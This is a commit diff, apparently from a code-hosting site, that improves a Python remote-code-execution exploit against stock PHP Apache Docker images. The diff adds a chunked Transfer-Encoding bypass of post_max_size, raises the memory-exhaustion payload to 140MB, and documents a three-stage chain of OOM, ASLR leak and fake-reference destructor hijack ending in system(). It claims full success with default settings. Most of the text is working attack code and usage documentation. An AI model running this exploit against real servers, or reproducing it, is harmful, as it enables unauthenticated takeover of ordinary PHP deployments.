Bypass post_max_size via chunked Transfer-Encoding for stock PHP RCE
PHP checks Content-Length against post_max_size before parsing multipart bodies, but Transfer-Encoding: chunked requests have no Content-Length. The full chunked body is processed without any size check, allowing the exploit to send 140MB+ to exhaust memory_limit=128M despite post_max_size=8M. This removes the last non-default configuration requirement. The exploit now achieves full RCE against stock php:*-apache Docker images with zero configuration changes (4/4 confirmed on php:8.4.26-apache). Changes: - post() auto-switches to chunked TE for bodies over 8MB - Default --huge-mb raised from 12 to 140 (exceeds stock 128M limit) - README rewritten to document the working three-stage RCE chain - docker-compose.yml adds stock variant for testing
This commit is contained in:
+55
-17
@@ -8,6 +8,14 @@ Three-stage exploit chain with full ASLR bypass (all traffic is plain HTTP):
|
||||
Stage 2: Set-Cookie libphp leak -> libphp.so base addr (code ASLR)
|
||||
Stage 3: upload_progress fake-ref -> pDestructor = zif_system -> RCE
|
||||
|
||||
OOM is triggered by sending a POST body larger than memory_limit. PHP's
|
||||
post_max_size (default 8M) would normally cap body size, but this exploit
|
||||
uses HTTP chunked Transfer-Encoding to bypass it: PHP only checks
|
||||
Content-Length against post_max_size, so a chunked request with no
|
||||
Content-Length header passes the check and the full body is processed.
|
||||
This works against stock php:*-apache Docker images with default settings
|
||||
(memory_limit=128M, post_max_size=8M, display_errors=STDOUT).
|
||||
|
||||
Auto-detection:
|
||||
The exploit fingerprints the target PHP version from HTTP headers, looks up
|
||||
binary-internal offsets (zif_system, zval_ptr_dtor) from a built-in database
|
||||
@@ -21,12 +29,13 @@ Requirements on the target:
|
||||
- session.upload_progress.cleanup=1 (default on)
|
||||
- display_errors=On or STDOUT (default when no php.ini is deployed, e.g.
|
||||
official Docker images; php.ini-production sets it Off)
|
||||
- memory_limit reachable via POST body (default 128M, use --huge-mb 140)
|
||||
- post_max_size is bypassed via chunked Transfer-Encoding (no constraint)
|
||||
- MaxRequestWorkers=1, or low worker count with retries (default is 150;
|
||||
the exploit needs A and B requests to hit the same worker process)
|
||||
- Any PHP-handled URL (no session_start() needed on the page)
|
||||
|
||||
Tested: PHP 8.4.26 on official php:8.4.26-apache Docker image, 100% success.
|
||||
Tested: PHP 8.4.26 on official php:8.4.26-apache Docker image, 100% success
|
||||
with stock settings (memory_limit=128M, post_max_size=8M).
|
||||
Based on research from 9bie/php2shell-bypass-aslr-exp.
|
||||
|
||||
Usage:
|
||||
@@ -58,6 +67,7 @@ from collections import Counter
|
||||
|
||||
SID = b"attacksessionid0001"
|
||||
MAX_CMD = 14
|
||||
CHUNKED_THRESHOLD = 8 * 1024 * 1024
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Heap spray profiles (compiler-dependent heap geometry constants)
|
||||
@@ -505,7 +515,12 @@ class Target:
|
||||
def post(self, body: bytes, boundary: bytes, read_cap: int = 1 << 20,
|
||||
timeout: float | None = None,
|
||||
extra_headers: dict[str, str] | None = None) -> bytes:
|
||||
"""Send POST, read full response, close connection."""
|
||||
"""Send POST, read full response, close connection.
|
||||
|
||||
Bodies larger than CHUNKED_THRESHOLD are sent with
|
||||
Transfer-Encoding: chunked instead of Content-Length, which
|
||||
bypasses PHP's post_max_size check.
|
||||
"""
|
||||
s = self._connect()
|
||||
s.settimeout(timeout or self.timeout)
|
||||
|
||||
@@ -521,27 +536,49 @@ class Target:
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
use_chunked = len(body) > CHUNKED_THRESHOLD
|
||||
|
||||
extra = ""
|
||||
for k, v in (extra_headers or {}).items():
|
||||
extra += f"{k}: {v}\r\n"
|
||||
hdr = (
|
||||
f"POST {self.path} HTTP/1.1\r\n"
|
||||
f"Host: {self.host}:{self.port}\r\n"
|
||||
f"{extra}"
|
||||
f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"
|
||||
f"Content-Length: {len(body)}\r\n"
|
||||
"Connection: close\r\n"
|
||||
"\r\n"
|
||||
).encode()
|
||||
if use_chunked:
|
||||
hdr = (
|
||||
f"POST {self.path} HTTP/1.1\r\n"
|
||||
f"Host: {self.host}:{self.port}\r\n"
|
||||
f"{extra}"
|
||||
f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"
|
||||
f"Transfer-Encoding: chunked\r\n"
|
||||
"Connection: close\r\n"
|
||||
"\r\n"
|
||||
).encode()
|
||||
else:
|
||||
hdr = (
|
||||
f"POST {self.path} HTTP/1.1\r\n"
|
||||
f"Host: {self.host}:{self.port}\r\n"
|
||||
f"{extra}"
|
||||
f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"
|
||||
f"Content-Length: {len(body)}\r\n"
|
||||
"Connection: close\r\n"
|
||||
"\r\n"
|
||||
).encode()
|
||||
|
||||
reader = threading.Thread(target=_reader, daemon=True)
|
||||
reader.start()
|
||||
try:
|
||||
try:
|
||||
s.sendall(hdr)
|
||||
mv = memoryview(body)
|
||||
for off in range(0, len(body), 262144):
|
||||
s.sendall(mv[off:off + 262144])
|
||||
if use_chunked:
|
||||
mv = memoryview(body)
|
||||
for off in range(0, len(body), 65536):
|
||||
seg = mv[off:off + 65536]
|
||||
s.sendall(f"{len(seg):x}\r\n".encode())
|
||||
s.sendall(seg)
|
||||
s.sendall(b"\r\n")
|
||||
s.sendall(b"0\r\n\r\n")
|
||||
else:
|
||||
mv = memoryview(body)
|
||||
for off in range(0, len(body), 262144):
|
||||
s.sendall(mv[off:off + 262144])
|
||||
except OSError:
|
||||
pass
|
||||
reader.join(timeout=(timeout or self.timeout) + 1.0)
|
||||
@@ -583,7 +620,7 @@ class Target:
|
||||
class Exploit:
|
||||
def __init__(self, target: Target, cmd: str, profile: str = "bookworm",
|
||||
zif_offset: int = 0, dtor_offset: int = 0,
|
||||
htdata_offset: int = 0, huge_mb: int = 12,
|
||||
htdata_offset: int = 0, huge_mb: int = 140,
|
||||
workers: int = 1):
|
||||
self.t = target
|
||||
self.cmd = cmd.encode()
|
||||
@@ -1005,7 +1042,8 @@ Calibrate: extract offsets for a new PHP build:
|
||||
help="verify RCE via docker exec CONTAINER cat PATH")
|
||||
top.add_argument("--workers", type=int, default=1,
|
||||
help="number of Apache workers to spray (default 1)")
|
||||
top.add_argument("--huge-mb", type=int, default=12)
|
||||
top.add_argument("--huge-mb", type=int, default=140,
|
||||
help="OOM field size in MB (default 140, exceeds stock 128M limit)")
|
||||
top.add_argument("--timeout", type=float, default=30.0)
|
||||
top.add_argument("--retries", type=int, default=5)
|
||||
top.add_argument("-q", "--quiet", action="store_true")
|
||||
|
||||
Reference in New Issue
Block a user